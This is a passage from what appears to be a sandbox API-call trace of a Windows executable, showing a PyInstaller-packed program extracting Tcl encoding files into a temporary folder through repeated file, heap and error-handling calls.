hHeap=0x530000) returned 1 [0036.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.049] CloseHandle (hObject=0x10c) returned 1 [0036.049] GetLastError () returned 0x0 [0036.049] SetLastError (dwErrCode=0x0) [0036.049] GetLastError () returned 0x0 [0036.049] SetLastError (dwErrCode=0x0) [0036.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.049] GetFileType (hFile=0x10c) returned 0x1 [0036.049] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.049] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.049] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.049] CloseHandle (hObject=0x10c) returned 1 [0036.049] GetLastError () returned 0x0 [0036.049] SetLastError (dwErrCode=0x0) [0036.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.050] GetFileType (hFile=0x10c) returned 0x1 [0036.050] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.050] CloseHandle (hObject=0x10c) returned 1 [0036.050] GetLastError () returned 0x0 [0036.050] SetLastError (dwErrCode=0x0) [0036.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc") returned 68 [0036.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp437.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.050] GetLastError () returned 0x2 [0036.050] SetLastError (dwErrCode=0x2) [0036.050] GetLastError () returned 0x2 [0036.050] SetLastError (dwErrCode=0x2) [0036.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc", lpFilePart=0x0) returned 0x43 [0036.050] GetLastError () returned 0x2 [0036.050] SetLastError (dwErrCode=0x2) [0036.050] GetLastError () returned 0x2 [0036.050] SetLastError (dwErrCode=0x2) [0036.050] GetLastError () returned 0x2 [0036.050] SetLastError (dwErrCode=0x2) [0036.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc") returned 68 [0036.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp437.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp437.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.051] GetFileType (hFile=0x10c) returned 0x1 [0036.051] htonl (hostlong=0x42040000) returned 0x442 [0036.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.051] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.052] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.052] CloseHandle (hObject=0x10c) returned 1 [0036.053] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.053] htonl (hostlong=0x30000000) returned 0x30 [0036.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.053] GetFileType (hFile=0x10c) returned 0x1 [0036.053] htonl (hostlong=0xe75e5100) returned 0x515ee7 [0036.053] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560ee7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.053] htonl (hostlong=0x10020000) returned 0x210 [0036.053] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x210) returned 0x550600 [0036.053] htonl (hostlong=0x10020000) returned 0x210 [0036.053] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.053] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.053] htonl (hostlong=0x42040000) returned 0x442 [0036.053] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.054] htonl (hostlong=0x10020000) returned 0x210 [0036.054] htonl (hostlong=0x42040000) returned 0x442 [0036.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.054] CloseHandle (hObject=0x10c) returned 1 [0036.054] GetLastError () returned 0x0 [0036.054] SetLastError (dwErrCode=0x0) [0036.054] GetLastError () returned 0x0 [0036.054] SetLastError (dwErrCode=0x0) [0036.054] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.054] GetFileType (hFile=0x10c) returned 0x1 [0036.054] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.054] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.054] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.054] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.054] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.054] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.054] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.054] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.054] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.054] CloseHandle (hObject=0x10c) returned 1 [0036.054] GetLastError () returned 0x0 [0036.054] SetLastError (dwErrCode=0x0) [0036.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.055] GetFileType (hFile=0x10c) returned 0x1 [0036.055] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.055] CloseHandle (hObject=0x10c) returned 1 [0036.055] GetLastError () returned 0x0 [0036.055] SetLastError (dwErrCode=0x0) [0036.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc") returned 68 [0036.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp737.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.055] GetLastError () returned 0x2 [0036.055] SetLastError (dwErrCode=0x2) [0036.055] GetLastError () returned 0x2 [0036.055] SetLastError (dwErrCode=0x2) [0036.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc", lpFilePart=0x0) returned 0x43 [0036.055] GetLastError () returned 0x2 [0036.055] SetLastError (dwErrCode=0x2) [0036.055] GetLastError () returned 0x2 [0036.055] SetLastError (dwErrCode=0x2) [0036.055] GetLastError () returned 0x2 [0036.056] SetLastError (dwErrCode=0x2) [0036.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc") returned 68 [0036.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp737.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp737.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.056] GetFileType (hFile=0x10c) returned 0x1 [0036.056] htonl (hostlong=0x42040000) returned 0x442 [0036.056] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.056] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.057] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.057] CloseHandle (hObject=0x10c) returned 1 [0036.057] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.058] htonl (hostlong=0x30000000) returned 0x30 [0036.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.058] GetFileType (hFile=0x10c) returned 0x1 [0036.058] htonl (hostlong=0xf7605100) returned 0x5160f7 [0036.058] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5610f7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.058] htonl (hostlong=0x1c020000) returned 0x21c [0036.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21c) returned 0x550600 [0036.058] htonl (hostlong=0x1c020000) returned 0x21c [0036.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.058] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.058] htonl (hostlong=0x42040000) returned 0x442 [0036.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.058] htonl (hostlong=0x1c020000) returned 0x21c [0036.058] htonl (hostlong=0x42040000) returned 0x442 [0036.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.058] CloseHandle (hObject=0x10c) returned 1 [0036.058] GetLastError () returned 0x0 [0036.058] SetLastError (dwErrCode=0x0) [0036.058] GetLastError () returned 0x0 [0036.058] SetLastError (dwErrCode=0x0) [0036.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.059] GetFileType (hFile=0x10c) returned 0x1 [0036.059] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.059] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.059] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.059] CloseHandle (hObject=0x10c) returned 1 [0036.059] GetLastError () returned 0x0 [0036.059] SetLastError (dwErrCode=0x0) [0036.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.059] GetFileType (hFile=0x10c) returned 0x1 [0036.059] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.059] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.060] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.060] CloseHandle (hObject=0x10c) returned 1 [0036.060] GetLastError () returned 0x0 [0036.060] SetLastError (dwErrCode=0x0) [0036.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc") returned 68 [0036.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp775.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.060] GetLastError () returned 0x2 [0036.060] SetLastError (dwErrCode=0x2) [0036.060] GetLastError () returned 0x2 [0036.060] SetLastError (dwErrCode=0x2) [0036.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc", lpFilePart=0x0) returned 0x43 [0036.060] GetLastError () returned 0x2 [0036.060] SetLastError (dwErrCode=0x2) [0036.060] GetLastError () returned 0x2 [0036.060] SetLastError 